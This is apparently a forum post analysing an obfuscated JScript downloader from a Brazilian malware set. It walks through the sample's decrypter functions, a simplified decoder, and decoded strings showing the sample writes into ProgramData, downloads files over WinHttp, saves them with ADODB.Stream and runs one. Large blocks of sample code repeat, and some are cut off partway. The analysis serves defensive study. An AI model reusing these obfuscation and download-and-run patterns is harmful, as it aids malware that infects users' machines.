- May 14, 2016
- 1,597
From 08-07-2016-10-brazilian-malwares
https://www.hybrid-analysis.com/sam...b1d6ecf4154f32b4529b987271b?environmentId=100
8/53 on virusTotal
I dis-obfuscated this sample. It was funny as it was a kind of challenge to myself
First step, I tried to find / understand the method used.
I then analysed the main decrypter function and sub functions it calls.
=> I simplified their decrypter, and I used it to step by step decrypt all encrypted strings, and remove trash they put (I could decrypt all the encrypted strings only by calling their own VERY obfuscated decrypter function and sub functions, but this was less interesting
).
Do not hesitate to click on spoiler
(1) Main decrypter function :
This function is mainly used to decrypt string as path, files names, url used (or false data to disturb us ! ).
It calls several other functions, very obfuscated too.
I wanted to simplify all, to have a 'more easy to read' single function
This is the simplified decrypter function I made, more understandable, no ?
(2) Call to decrypter function :
There are a lot of calls to the decrypter function that only product unused data.
One good example is :
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("OEVFBFRFMFDEYFBFCFDEYFNFDFPFNFDFSDBDAFNFBFN") ;
=> "afvqhdfghdrhtrhw43rfr"
All the HafleihtskdjgkGwlnigi=HafleihtskdjgkGwlnigi("....") are fake data
(56 times) => you can remove all occurrence
There are also other fake var / content
So it makes harder to find the real important calls / var / content.
Examples with useful data :
NaflwigtGwlnigiLpdkqufrRgxqojrn("XEEECER"); => "GET"
NaflwigtGwlnigiLpdkqufrRgxqojrn("SDYDWEM"); => "GET"
NaflwigtGwlnigiLpdkqufrRgxqojrn("BDHDFDU"); => "GET"
NaflwigtGwlnigiLpdkqufrRgxqojrn("ADGDEDT"); => "GET"
=> yes, same result with different obfuscated strings (to slow dis-obfuscating ... )
Isqxeihyh4h4h4Bxmohen = NaflwigtGwlnigiLpdkqufrRgxqojrn("CDYDUELFBEREYFDCIDP");
Kkxqojrh4h3h2Bxmohen = NaflwigtGwlnigiLpdkqufrRgxqojrn("IETFJFMFEFHFA");
Eqknugpgja1111jhauNaflwigt = Isqxeihyh4h4h4Bxmohen+Kkxqojrh4h3h2Bxmohen;
ashtFaqhlwugtewaaGwlnigi = FaqhlwugtdfiuerBxmohen("RgxqojrnshuPlmeheiq"); => WScript.ScriptFullName
ppjjhMaqkwugrjjhGwlnigi = WScript.CreateObject(Eqknugpgja1111jhauNaflwigt);
"WScript.N" + "etwork "=> WScript.CreateObject("WScript.Network");
ghetstHafleihtytqerGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("NEGEWFMFDFKFO");
ghetstHafleihtytqerGwlnigi = ghetstHafleihtytqerGwlnigi+NaflwigtGwlnigiLpdkqufrRgxqojrn("LFBFGEYCRDQFBFEEWEE");
ghetstHafleihtytqerGwlnigi = ghetstHafleihtytqerGwlnigi+NaflwigtGwlnigiLpdkqufrRgxqojrn("AFGFAFBELETDOEIEQELEJFB");
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("YFMFLFNFJFNFKGFGAGFFKFXGAGFFKFXGF");
sDpqgkqufr = WScript.CreateObject(ghetstHafleihtytqerGwlnigi);
"Script" + "ing.FileS" + "ystemObject" => WScript.CreateObject("Scripting.FileSystemObject");
A lot of parts work in the same way
Another example of how obfuscated is their file :
3 different parts for the same result :
if (Objet_Scripting_FileSystemObject.FileExists("C:\ProgramData\UserName\auidxx60.log")){
if((WScript_ScriptFullName != "C:\ProgramData\UserName\system.wsf")){
WScript_Quit(0);
}
}
(3) Path :
NaflwigtGwlnigiLpdkqufrRgxqojrn("YEBDRFBFBEOFXFUFMFXFGFSECFGGAFGFBFB");
=> "C:\\ProgramData\\"
This way User_Path = "C:\ProgramData\[UserName]\" was found as main path used.
=> created if not exist
The most part of the files downloaded will be put there.
(4) Main log files :
(5) URLs / files :
With the decrypter, by several calls, concatenation :
Loop with parameter i to construct several urls to try to download files.
(6) Method Used to download :
"WinHttp.WinHttpRequest.5.1"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1)"
(7) Method Used to save files :
"ADODB.Stream"
option => 2 : Overwrites the file with the data from the currently open Stream object, if the file already exists
(8) cmd used
The malware end with :
file = "C:\ProgramData\UserName\UserNamewg.gif";
WScript.Sleep_(3535);
WScript.Sleep_(3535);
if (if_file_exist_return_10_else_0(file) > 2){
run_cmd(file);
Note :
WScript.sleep(3535) is used 8 times
Conclusion :
The person who made this method have done a relative good job, when compared with a lot of other obfuscated methods I used to see, these last months.
https://www.hybrid-analysis.com/sam...b1d6ecf4154f32b4529b987271b?environmentId=100
8/53 on virusTotal
I dis-obfuscated this sample. It was funny as it was a kind of challenge to myself
First step, I tried to find / understand the method used.
I then analysed the main decrypter function and sub functions it calls.
=> I simplified their decrypter, and I used it to step by step decrypt all encrypted strings, and remove trash they put (I could decrypt all the encrypted strings only by calling their own VERY obfuscated decrypter function and sub functions, but this was less interesting
Do not hesitate to click on spoiler
(1) Main decrypter function :
This function is mainly used to decrypt string as path, files names, url used (or false data to disturb us ! ).
It calls several other functions, very obfuscated too.
function NaflwigtGwlnigiLpdkqufrRgxqojrn(OafwhmtdhgdfgsaaFaqhlwugt)
{
var LpdkqufrjlkhiuhfueCgxqojr;
var AswjleihylkwhfweBxmohen;
var NaflwigtxsdfserMaqkwugr;
var CgxqojrsdhuiersfEqknugp;
var Faqhlwugtsdhu11i11ersfGwlnigi;
var DpqgkqufrhsdyeHafleiht;
var EqknugprftggeLpdkqufr;
var Eqknugpd7heNaflwigt;
Faqhlwugtsdhu11i11ersfGwlnigi = "";
LpdkqufrjlkhiuhfueCgxqojr = "GwlnigiNaflwigtIsqxeihy";
AswjleihylkwhfweBxmohen = "";
Eqknugpd7heNaflwigt = "GwlnigiNaflwigtIsqxeihy";
NaflwigtxsdfserMaqkwugr = Dpqgkqufrjhs11ksMaqkwugr;
LpdkqufrjlkhiuhfueCgxqojr = "LpdkqufrDpqgkqufrMaqkwugr";
CgxqojrsdhuiersfEqknugp = HafleihtnishyswsIsqxeihy(OafwhmtdhgdfgsaaFaqhlwugt,Dpqgkqufrjhs11ksMaqkwugr,EqknugprftggeLpdkqufr);
LpdkqufrjlkhiuhfueCgxqojr = "GwlnigiNaflwigtIsqxeihy";
LpdkqufrjlkhiuhfueCgxqojr = "GwlnigiNaflwigtIsqxeihy";
DpqgkqufrhsdyeHafleiht = "GwlnigiFaqhlwugtIsqxeihy";
OafwhmtdhgdfgsaaFaqhlwugt = EqknugpasheywsLpdkqufr(OafwhmtdhgdfgsaaFaqhlwugt,GwlnigiogijkoiytiLpdkqufr);
LpdkqufrjlkhiuhfueCgxqojr = "CgxqojrDpqgkqufrIsqxeihy";
while (OafwhmtdhgdfgsaaFaqhlwugt.length > Dpqgkqufrjhs11ksMaqkwugr){
LpdkqufrjlkhiuhfueCgxqojr = "GwlnigiNaflwigtIsqxeihy";
Faqhlwugtsdhu11i11ersfGwlnigi = Faqhlwugtsdhu11i11ersfGwlnigi + Kkxqojrjhskisd33fEqknugp(OafwhmtdhgdfgsaaFaqhlwugt,CgxqojrsdhuiersfEqknugp,Dpqgkqufrjhs11ksMaqkwugr,"LpdkqufrAswjleihyDpqgkqufr",Eqknugpd7heNaflwigt,"GwlnigiNaflwigtJsqgxeohy");
OafwhmtdhgdfgsaaFaqhlwugt = GwlnigijppqoeuyaHafleiht(OafwhmtdhgdfgsaaFaqhlwugt,EqknugpjhgdfsdMaqkwugr,DpqgkqufrhsdyeHafleiht);
}
LpdkqufrjlkhiuhfueCgxqojr = "EqknugpDpqgkqufrOafwhmtd";
return Faqhlwugtsdhu11i11ersfGwlnigi;
}
function HafleihtnishyswsIsqxeihy(IsqxeihylkjdirhOafwhmtd, LpdkqufrhuhudysuHafleiht, KkxqojrkjsdhieDpqgkqufr)
{
var Eqknugpshiusidjd8Lpdkqufr;
var Cgxqojrd8Aswjleihy;
Cgxqojrd8Aswjleihy = "BxmohenAswjleihyIsqxeihy";
Eqknugpshiusidjd8Lpdkqufr = MaqkwugrkjhiuryieIsqxeihy(IsqxeihylkjdirhOafwhmtd,LpdkqufrhuhudysuHafleiht,Cgxqojrd8Aswjleihy) - FaqhlwugtkjsoduyerffMaqkwugr("BxmohenAswjleihyIsqxeihy","HafleihtHafleihtLpdkqufr","KkxqojrDpqgkqufrLpdkqufr","BxmohenDpqgkqufrEqknugp");
return Eqknugpshiusidjd8Lpdkqufr;
}
function EqknugpasheywsLpdkqufr(HafleihtakjshkdhGwlnigi, HafleihtashiuhaiuFaqhlwugt )
{
var DpqgkqufrshiusdhiuseBxmohen;
DpqgkqufrshiusdhiuseBxmohen = HafleihtakjshkdhGwlnigi.substring(HafleihtashiuhaiuFaqhlwugt);
return DpqgkqufrshiusdhiuseBxmohen;
}
function Kkxqojrjhskisd33fEqknugp(Faqhlwugtngste4asGwlnigi,IsqxeihyvnjandBxmohen, Kkxqojrhbyesg7Faqhlwugt,BxmohendsjheFaqhlwugt,Eqknugph56s6sMaqkwugr,CAHVE3hs6s6Eqknugp)
{
var Maqkwugrlkhsa11uyeLpdkqufr;
var EqknugpfdjitueHafleiht;
var BxmohensdnfiureIsqxeihy;
var DpqgkqufrsdhurhureMaqkwugr;
var Faqhlwugtjd8rreIsqxeihy;
var MaqkwugrsjfhreLpdkqufr;
Maqkwugrlkhsa11uyeLpdkqufr = "LpdkqufrOafwhmtdPlmeheiq";
EqknugpfdjitueHafleiht = "BxmohenLpdkqufrFaqhlwugt";
BxmohensdnfiureIsqxeihy = "BxmohenLpdkqufrDpqgkqufr";
DpqgkqufrsdhurhureMaqkwugr = "LpdkqufrEqknugpDpqgkqufr";
Faqhlwugtjd8rreIsqxeihy = "EqknugpAswjleihyDpqgkqufr";
Maqkwugrlkhsa11uyeLpdkqufr = String.fromCharCode( (Rgxqojrnkjre34fMaqkwugr(Faqhlwugtngste4asGwlnigi,Kkxqojrhbyesg7Faqhlwugt,EqknugpfdjitueHafleiht,"AswjleihyLpdkqufrFaqhlwugt") ) * CgxqojrkdjgdteQxbedyq + ( PlmeheiqkjjsuuwuhuhsfCgxqojr(Faqhlwugtngste4asGwlnigi,DpqgkqufrsdhurhureMaqkwugr,Faqhlwugtjd8rreIsqxeihy,MaqkwugrsjfhreLpdkqufr,"AswjleihyHafleihtFaqhlwugt","MaqkwugrHafleihtFaqhlwugt","CgxqojrHafleihtMaqkwugr") ) - IsqxeihyvnjandBxmohen - edCgxqojrkjdi1111khsdGwlnigi);
return Maqkwugrlkhsa11uyeLpdkqufr;
}
function GwlnigijppqoeuyaHafleiht(GwlnigiiuhrhfHafleiht, GwlnigihtshrhfMaqkwugr, EqknugpadhsiKkxqojr )
{
var DpqgkqufrkjjystsraaEqknugp;
DpqgkqufrkjjystsraaEqknugp = GwlnigiiuhrhfHafleiht.substring(GwlnigihtshrhfMaqkwugr);
return DpqgkqufrkjjystsraaEqknugp;
}
function MaqkwugrkjhiuryieIsqxeihy(EqknugpueryiueKkxqojr, FaqhlwugtkjsdheijhjshjsKkxqojr, DpqgkqufrkjaiyeHafleiht )
{
var EqknugpiuweyiwyNaflwigt;
EqknugpiuweyiwyNaflwigt = EqknugpueryiueKkxqojr.charCodeAt(FaqhlwugtkjsdheijhjshjsKkxqojr);
return EqknugpiuweyiwyNaflwigt;
}
function Rgxqojrnkjre34fMaqkwugr(Lpdkqufrnijsn44isKkxqojr, Cgxqojr8fheywDpqgkqufr, FaqhlwugtsjkdhiwLpdkqufr, EqknugpwLpdkqufr)
{
var Naflwigtbae3w8usPlmeheiq;
Naflwigtbae3w8usPlmeheiq = "BxmohenEqknugpFaqhlwugt";
Naflwigtbae3w8usPlmeheiq = Lpdkqufrnijsn44isKkxqojr.charCodeAt(Cgxqojr8fheywDpqgkqufr)-FaqhlwugtkjsoduyerffMaqkwugr("BxmohenAswjleihyIsqxeihy","HafleihtHafleihtLpdkqufr","IsqxeihyHafleihtEqknugp","BxmohenDpqgkqufrEqknugp") ;
return Naflwigtbae3w8usPlmeheiq;
}
function PlmeheiqkjjsuuwuhuhsfCgxqojr(BxmohennijsnisAswjleihy, Cgxqojrkjsd2yeKkxqojr, DpqgkqufrjndhueCgxqojr, DpqgkqufrjdhyeHafleihtgr, Dpqgkqufrash64d5Bxmohen, Bxmohenf4d35Eqknugp, Kkxqojrdfge5Dpqgkqufr)
{
var Dpqgkqufrba8usFaqhlwugt;
var GwlnigikdsjrsBxmohen;
var Dpqgkqufr5jahursEqknugp;
var FaqhlwugtsdjuehMaqkwugr;
Dpqgkqufrba8usFaqhlwugt = "BxmohenEqknugpFaqhlwugt";
FaqhlwugtsdjuehMaqkwugr = "HafleihtLpdkqufrFaqhlwugt";
GwlnigikdsjrsBxmohen = "DpqgkqufrGwlnigiPlmeheiq" + Dpqgkqufrba8usFaqhlwugt;
Dpqgkqufr5jahursEqknugp = "DpqgkqufrGwlnigiGwlnigi" + DpqgkqufrjndhueCgxqojr;
Dpqgkqufrba8usFaqhlwugt = Dpqgkqufr5jahursEqknugp + GwlnigikdsjrsBxmohen + Dpqgkqufrba8usFaqhlwugt;
Dpqgkqufrba8usFaqhlwugt = BxmohennijsnisAswjleihy.charCodeAt(GwlnigiogijkoiytiLpdkqufr)-FaqhlwugtkjsoduyerffMaqkwugr("BxmohenAswjleihyIsqxeihy","HafleihtHafleihtLpdkqufr","IsqxeihyHafleihtEqknugp","BxmohenDpqgkqufrEqknugp") ;
return Dpqgkqufrba8usFaqhlwugt;
}
function FaqhlwugtkjsoduyerffMaqkwugr(OafwhmtdueretfdfAswjleihy,DpqgkqufrhaguydLpdkqufr,Aswjleihyh45sMaqkwugr,DpqgkqufrjdyePlmeheiq)
{
var EqknugpiuwsdjhirueCgxqojr;
EqknugpiuwsdjhirueCgxqojr = "BxmohenEqknugpFaqhlwugt";
EqknugpiuwsdjhirueCgxqojr = Hafleihtjhs11ksPlmeheiq;
return EqknugpiuwsdjhirueCgxqojr;
}
{
var LpdkqufrjlkhiuhfueCgxqojr;
var AswjleihylkwhfweBxmohen;
var NaflwigtxsdfserMaqkwugr;
var CgxqojrsdhuiersfEqknugp;
var Faqhlwugtsdhu11i11ersfGwlnigi;
var DpqgkqufrhsdyeHafleiht;
var EqknugprftggeLpdkqufr;
var Eqknugpd7heNaflwigt;
Faqhlwugtsdhu11i11ersfGwlnigi = "";
LpdkqufrjlkhiuhfueCgxqojr = "GwlnigiNaflwigtIsqxeihy";
AswjleihylkwhfweBxmohen = "";
Eqknugpd7heNaflwigt = "GwlnigiNaflwigtIsqxeihy";
NaflwigtxsdfserMaqkwugr = Dpqgkqufrjhs11ksMaqkwugr;
LpdkqufrjlkhiuhfueCgxqojr = "LpdkqufrDpqgkqufrMaqkwugr";
CgxqojrsdhuiersfEqknugp = HafleihtnishyswsIsqxeihy(OafwhmtdhgdfgsaaFaqhlwugt,Dpqgkqufrjhs11ksMaqkwugr,EqknugprftggeLpdkqufr);
LpdkqufrjlkhiuhfueCgxqojr = "GwlnigiNaflwigtIsqxeihy";
LpdkqufrjlkhiuhfueCgxqojr = "GwlnigiNaflwigtIsqxeihy";
DpqgkqufrhsdyeHafleiht = "GwlnigiFaqhlwugtIsqxeihy";
OafwhmtdhgdfgsaaFaqhlwugt = EqknugpasheywsLpdkqufr(OafwhmtdhgdfgsaaFaqhlwugt,GwlnigiogijkoiytiLpdkqufr);
LpdkqufrjlkhiuhfueCgxqojr = "CgxqojrDpqgkqufrIsqxeihy";
while (OafwhmtdhgdfgsaaFaqhlwugt.length > Dpqgkqufrjhs11ksMaqkwugr){
LpdkqufrjlkhiuhfueCgxqojr = "GwlnigiNaflwigtIsqxeihy";
Faqhlwugtsdhu11i11ersfGwlnigi = Faqhlwugtsdhu11i11ersfGwlnigi + Kkxqojrjhskisd33fEqknugp(OafwhmtdhgdfgsaaFaqhlwugt,CgxqojrsdhuiersfEqknugp,Dpqgkqufrjhs11ksMaqkwugr,"LpdkqufrAswjleihyDpqgkqufr",Eqknugpd7heNaflwigt,"GwlnigiNaflwigtJsqgxeohy");
OafwhmtdhgdfgsaaFaqhlwugt = GwlnigijppqoeuyaHafleiht(OafwhmtdhgdfgsaaFaqhlwugt,EqknugpjhgdfsdMaqkwugr,DpqgkqufrhsdyeHafleiht);
}
LpdkqufrjlkhiuhfueCgxqojr = "EqknugpDpqgkqufrOafwhmtd";
return Faqhlwugtsdhu11i11ersfGwlnigi;
}
function HafleihtnishyswsIsqxeihy(IsqxeihylkjdirhOafwhmtd, LpdkqufrhuhudysuHafleiht, KkxqojrkjsdhieDpqgkqufr)
{
var Eqknugpshiusidjd8Lpdkqufr;
var Cgxqojrd8Aswjleihy;
Cgxqojrd8Aswjleihy = "BxmohenAswjleihyIsqxeihy";
Eqknugpshiusidjd8Lpdkqufr = MaqkwugrkjhiuryieIsqxeihy(IsqxeihylkjdirhOafwhmtd,LpdkqufrhuhudysuHafleiht,Cgxqojrd8Aswjleihy) - FaqhlwugtkjsoduyerffMaqkwugr("BxmohenAswjleihyIsqxeihy","HafleihtHafleihtLpdkqufr","KkxqojrDpqgkqufrLpdkqufr","BxmohenDpqgkqufrEqknugp");
return Eqknugpshiusidjd8Lpdkqufr;
}
function EqknugpasheywsLpdkqufr(HafleihtakjshkdhGwlnigi, HafleihtashiuhaiuFaqhlwugt )
{
var DpqgkqufrshiusdhiuseBxmohen;
DpqgkqufrshiusdhiuseBxmohen = HafleihtakjshkdhGwlnigi.substring(HafleihtashiuhaiuFaqhlwugt);
return DpqgkqufrshiusdhiuseBxmohen;
}
function Kkxqojrjhskisd33fEqknugp(Faqhlwugtngste4asGwlnigi,IsqxeihyvnjandBxmohen, Kkxqojrhbyesg7Faqhlwugt,BxmohendsjheFaqhlwugt,Eqknugph56s6sMaqkwugr,CAHVE3hs6s6Eqknugp)
{
var Maqkwugrlkhsa11uyeLpdkqufr;
var EqknugpfdjitueHafleiht;
var BxmohensdnfiureIsqxeihy;
var DpqgkqufrsdhurhureMaqkwugr;
var Faqhlwugtjd8rreIsqxeihy;
var MaqkwugrsjfhreLpdkqufr;
Maqkwugrlkhsa11uyeLpdkqufr = "LpdkqufrOafwhmtdPlmeheiq";
EqknugpfdjitueHafleiht = "BxmohenLpdkqufrFaqhlwugt";
BxmohensdnfiureIsqxeihy = "BxmohenLpdkqufrDpqgkqufr";
DpqgkqufrsdhurhureMaqkwugr = "LpdkqufrEqknugpDpqgkqufr";
Faqhlwugtjd8rreIsqxeihy = "EqknugpAswjleihyDpqgkqufr";
Maqkwugrlkhsa11uyeLpdkqufr = String.fromCharCode( (Rgxqojrnkjre34fMaqkwugr(Faqhlwugtngste4asGwlnigi,Kkxqojrhbyesg7Faqhlwugt,EqknugpfdjitueHafleiht,"AswjleihyLpdkqufrFaqhlwugt") ) * CgxqojrkdjgdteQxbedyq + ( PlmeheiqkjjsuuwuhuhsfCgxqojr(Faqhlwugtngste4asGwlnigi,DpqgkqufrsdhurhureMaqkwugr,Faqhlwugtjd8rreIsqxeihy,MaqkwugrsjfhreLpdkqufr,"AswjleihyHafleihtFaqhlwugt","MaqkwugrHafleihtFaqhlwugt","CgxqojrHafleihtMaqkwugr") ) - IsqxeihyvnjandBxmohen - edCgxqojrkjdi1111khsdGwlnigi);
return Maqkwugrlkhsa11uyeLpdkqufr;
}
function GwlnigijppqoeuyaHafleiht(GwlnigiiuhrhfHafleiht, GwlnigihtshrhfMaqkwugr, EqknugpadhsiKkxqojr )
{
var DpqgkqufrkjjystsraaEqknugp;
DpqgkqufrkjjystsraaEqknugp = GwlnigiiuhrhfHafleiht.substring(GwlnigihtshrhfMaqkwugr);
return DpqgkqufrkjjystsraaEqknugp;
}
function MaqkwugrkjhiuryieIsqxeihy(EqknugpueryiueKkxqojr, FaqhlwugtkjsdheijhjshjsKkxqojr, DpqgkqufrkjaiyeHafleiht )
{
var EqknugpiuweyiwyNaflwigt;
EqknugpiuweyiwyNaflwigt = EqknugpueryiueKkxqojr.charCodeAt(FaqhlwugtkjsdheijhjshjsKkxqojr);
return EqknugpiuweyiwyNaflwigt;
}
function Rgxqojrnkjre34fMaqkwugr(Lpdkqufrnijsn44isKkxqojr, Cgxqojr8fheywDpqgkqufr, FaqhlwugtsjkdhiwLpdkqufr, EqknugpwLpdkqufr)
{
var Naflwigtbae3w8usPlmeheiq;
Naflwigtbae3w8usPlmeheiq = "BxmohenEqknugpFaqhlwugt";
Naflwigtbae3w8usPlmeheiq = Lpdkqufrnijsn44isKkxqojr.charCodeAt(Cgxqojr8fheywDpqgkqufr)-FaqhlwugtkjsoduyerffMaqkwugr("BxmohenAswjleihyIsqxeihy","HafleihtHafleihtLpdkqufr","IsqxeihyHafleihtEqknugp","BxmohenDpqgkqufrEqknugp") ;
return Naflwigtbae3w8usPlmeheiq;
}
function PlmeheiqkjjsuuwuhuhsfCgxqojr(BxmohennijsnisAswjleihy, Cgxqojrkjsd2yeKkxqojr, DpqgkqufrjndhueCgxqojr, DpqgkqufrjdhyeHafleihtgr, Dpqgkqufrash64d5Bxmohen, Bxmohenf4d35Eqknugp, Kkxqojrdfge5Dpqgkqufr)
{
var Dpqgkqufrba8usFaqhlwugt;
var GwlnigikdsjrsBxmohen;
var Dpqgkqufr5jahursEqknugp;
var FaqhlwugtsdjuehMaqkwugr;
Dpqgkqufrba8usFaqhlwugt = "BxmohenEqknugpFaqhlwugt";
FaqhlwugtsdjuehMaqkwugr = "HafleihtLpdkqufrFaqhlwugt";
GwlnigikdsjrsBxmohen = "DpqgkqufrGwlnigiPlmeheiq" + Dpqgkqufrba8usFaqhlwugt;
Dpqgkqufr5jahursEqknugp = "DpqgkqufrGwlnigiGwlnigi" + DpqgkqufrjndhueCgxqojr;
Dpqgkqufrba8usFaqhlwugt = Dpqgkqufr5jahursEqknugp + GwlnigikdsjrsBxmohen + Dpqgkqufrba8usFaqhlwugt;
Dpqgkqufrba8usFaqhlwugt = BxmohennijsnisAswjleihy.charCodeAt(GwlnigiogijkoiytiLpdkqufr)-FaqhlwugtkjsoduyerffMaqkwugr("BxmohenAswjleihyIsqxeihy","HafleihtHafleihtLpdkqufr","IsqxeihyHafleihtEqknugp","BxmohenDpqgkqufrEqknugp") ;
return Dpqgkqufrba8usFaqhlwugt;
}
function FaqhlwugtkjsoduyerffMaqkwugr(OafwhmtdueretfdfAswjleihy,DpqgkqufrhaguydLpdkqufr,Aswjleihyh45sMaqkwugr,DpqgkqufrjdyePlmeheiq)
{
var EqknugpiuwsdjhirueCgxqojr;
EqknugpiuwsdjhirueCgxqojr = "BxmohenEqknugpFaqhlwugt";
EqknugpiuwsdjhirueCgxqojr = Hafleihtjhs11ksPlmeheiq;
return EqknugpiuwsdjhirueCgxqojr;
}
I wanted to simplify all, to have a 'more easy to read' single function
This is the simplified decrypter function I made, more understandable, no ?
function NaflwigtGwlnigiLpdkqufrRgxqojrn( a_string )
{
var first_char;
var current_decoded;
current_decoded = "";
first_char_before_loop_less_65 = a_string.charCodeAt(0) - 65;
a_string = a_string.substring(1);
while (a_string.length > 0){
current_decoded = current_decoded + String.fromCharCode( (a_string.charCodeAt(0) -65 ) * 25 + ( a_string.charCodeAt(1)-65 ) - first_char_before_loop_less_65 - 10);
a_string = a_string.substring(2);
}
return current_decoded;
}
{
var first_char;
var current_decoded;
current_decoded = "";
first_char_before_loop_less_65 = a_string.charCodeAt(0) - 65;
a_string = a_string.substring(1);
while (a_string.length > 0){
current_decoded = current_decoded + String.fromCharCode( (a_string.charCodeAt(0) -65 ) * 25 + ( a_string.charCodeAt(1)-65 ) - first_char_before_loop_less_65 - 10);
a_string = a_string.substring(2);
}
return current_decoded;
}
(2) Call to decrypter function :
There are a lot of calls to the decrypter function that only product unused data.
One good example is :
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("OEVFBFRFMFDEYFBFCFDEYFNFDFPFNFDFSDBDAFNFBFN") ;
=> "afvqhdfghdrhtrhw43rfr"
All the HafleihtskdjgkGwlnigi=HafleihtskdjgkGwlnigi("....") are fake data
(56 times) => you can remove all occurrence
There are also other fake var / content
So it makes harder to find the real important calls / var / content.
Examples with useful data :
NaflwigtGwlnigiLpdkqufrRgxqojrn("XEEECER"); => "GET"
NaflwigtGwlnigiLpdkqufrRgxqojrn("SDYDWEM"); => "GET"
NaflwigtGwlnigiLpdkqufrRgxqojrn("BDHDFDU"); => "GET"
NaflwigtGwlnigiLpdkqufrRgxqojrn("ADGDEDT"); => "GET"
=> yes, same result with different obfuscated strings (to slow dis-obfuscating ... )
Isqxeihyh4h4h4Bxmohen = NaflwigtGwlnigiLpdkqufrRgxqojrn("CDYDUELFBEREYFDCIDP");
Kkxqojrh4h3h2Bxmohen = NaflwigtGwlnigiLpdkqufrRgxqojrn("IETFJFMFEFHFA");
Eqknugpgja1111jhauNaflwigt = Isqxeihyh4h4h4Bxmohen+Kkxqojrh4h3h2Bxmohen;
ashtFaqhlwugtewaaGwlnigi = FaqhlwugtdfiuerBxmohen("RgxqojrnshuPlmeheiq"); => WScript.ScriptFullName
ppjjhMaqkwugrjjhGwlnigi = WScript.CreateObject(Eqknugpgja1111jhauNaflwigt);
"WScript.N" + "etwork "=> WScript.CreateObject("WScript.Network");
ghetstHafleihtytqerGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("NEGEWFMFDFKFO");
ghetstHafleihtytqerGwlnigi = ghetstHafleihtytqerGwlnigi+NaflwigtGwlnigiLpdkqufrRgxqojrn("LFBFGEYCRDQFBFEEWEE");
ghetstHafleihtytqerGwlnigi = ghetstHafleihtytqerGwlnigi+NaflwigtGwlnigiLpdkqufrRgxqojrn("AFGFAFBELETDOEIEQELEJFB");
sDpqgkqufr = WScript.CreateObject(ghetstHafleihtytqerGwlnigi);
"Script" + "ing.FileS" + "ystemObject" => WScript.CreateObject("Scripting.FileSystemObject");
A lot of parts work in the same way
Another example of how obfuscated is their file :
3 different parts for the same result :
if (edNaflwigtjy3gaFaqhlwugt.FileExists(ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("HEJEJEOFJEW") + NaflwigtGwlnigiLpdkqufrRgxqojrn("FEPFKFK") + EqknugpammfreadFaqhlwugt + NaflwigtGwlnigiLpdkqufrRgxqojrn("HCNFAFDEU"))){
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("DEKEPFGFBFHCPEPEQFDEQFDENEQENFDCOFCEPFC") ;
if((ashtFaqhlwugtewaaGwlnigi != ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("VEXEXFVGCFVFWFHFPDCGAFVFI"))){
KkxqojrkkkBxmohen("MaqkwugrDpqgkqufr");
}
}
if(edNaflwigtjy3gaFaqhlwugt.FileExists(ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("JELELEQFLEY") + NaflwigtGwlnigiLpdkqufrRgxqojrn("LEVFQFQ") + EqknugpammfreadFaqhlwugt + NaflwigtGwlnigiLpdkqufrRgxqojrn("OCUFHFKFC"))){
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("DEKEPFGFBFHFCEOFHFCEPFDENEQFHCPCOFEEQCOCOFCEPFC") ;
if((ashtFaqhlwugtewaaGwlnigi != ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("BEDEDFBFHFBFCEMEUCHFFFBEN"))){
KkxqojrkkkBxmohen("CgxqojrEqknugp");
}
}
if(edNaflwigtjy3gaFaqhlwugt.FileExists(ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("CEEEEEJFEEREMFHFH") + EqknugpammfreadFaqhlwugt + NaflwigtGwlnigiLpdkqufrRgxqojrn("CCIEUEXEP"))){
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("QEXFDFTFOFUDCDEFRDEDCDDFRDEFUFCFEDDDCFPFDFP") ;
if((ashtFaqhlwugtewaaGwlnigi != ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("XFAFAFXGEFXFYFJFRDEGCFXFK"))){
KkxqojrkkkBxmohen("CgxqojrGwlnigi");
}
}
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("DEKEPFGFBFHCPEPEQFDEQFDENEQENFDCOFCEPFC") ;
if((ashtFaqhlwugtewaaGwlnigi != ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("VEXEXFVGCFVFWFHFPDCGAFVFI"))){
KkxqojrkkkBxmohen("MaqkwugrDpqgkqufr");
}
}
if(edNaflwigtjy3gaFaqhlwugt.FileExists(ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("JELELEQFLEY") + NaflwigtGwlnigiLpdkqufrRgxqojrn("LEVFQFQ") + EqknugpammfreadFaqhlwugt + NaflwigtGwlnigiLpdkqufrRgxqojrn("OCUFHFKFC"))){
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("DEKEPFGFBFHFCEOFHFCEPFDENEQFHCPCOFEEQCOCOFCEPFC") ;
if((ashtFaqhlwugtewaaGwlnigi != ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("BEDEDFBFHFBFCEMEUCHFFFBEN"))){
KkxqojrkkkBxmohen("CgxqojrEqknugp");
}
}
if(edNaflwigtjy3gaFaqhlwugt.FileExists(ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("CEEEEEJFEEREMFHFH") + EqknugpammfreadFaqhlwugt + NaflwigtGwlnigiLpdkqufrRgxqojrn("CCIEUEXEP"))){
